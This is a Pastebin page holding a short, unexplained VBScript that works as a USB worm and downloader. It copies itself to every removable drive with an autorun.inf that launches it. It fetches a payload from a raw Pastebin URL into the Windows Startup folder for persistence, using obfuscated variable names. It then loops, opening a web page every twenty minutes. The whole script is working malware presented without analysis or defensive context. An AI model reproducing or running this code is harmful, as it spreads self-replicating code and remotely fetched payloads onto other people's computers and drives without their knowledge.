Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2017
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. '=================================================================
  2. Set fso = WScript.CreateObject("Scripting.Filesystemobject")
  3. For Each d In fso.Drives
  4. If d.DriveType = 1 And d.IsReady = True Then
  5. fso.CopyFile WScript.ScriptFullName, d & "\autorun.vbs", True
  6. Set a = fso.CreateTextFile(d & "\autorun.inf", True )
  7.  a.WriteLine "[AUTORUN]"
  8.  a.WriteLine "SHELLEXECUTE=autorun.vbs"
  9. a.close
  10. End If
  11. Next
  12. '=================================================================
  13. Set aaaaa = CreateObject("WScript.Shell")
  14. bbbbb = aaaaa.SpecialFolders("Startup") & "\autorun.vbs"
  15. Call ccccc
  16. sub ccccc
  17. dim eeeee: Set eeeee = createobject("Microsoft.XMLHTTP")
  18. dim JyNbm: Set JyNbm = createobject("Adodb.Stream")
  19. eeeee.Open "GET", "https://pastebin.com/raw/vY5vUgdE", False
  20.  eeeee.Send
  21.     with JyNbm
  22.       .type = 1
  23.       .open
  24.       .write eeeee.responseBody
  25.       .savetofile bbbbb, 2
  26.     end with
  27.  end sub
  28. '=================================================================
  29. do
  30. WScript.Sleep 20 * 60 * 1000 ' 1000 => 1 second
  31. CreateObject("WScript.Shell").Run("""https://www.google.com""")
  32. loop
  33. '=================================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement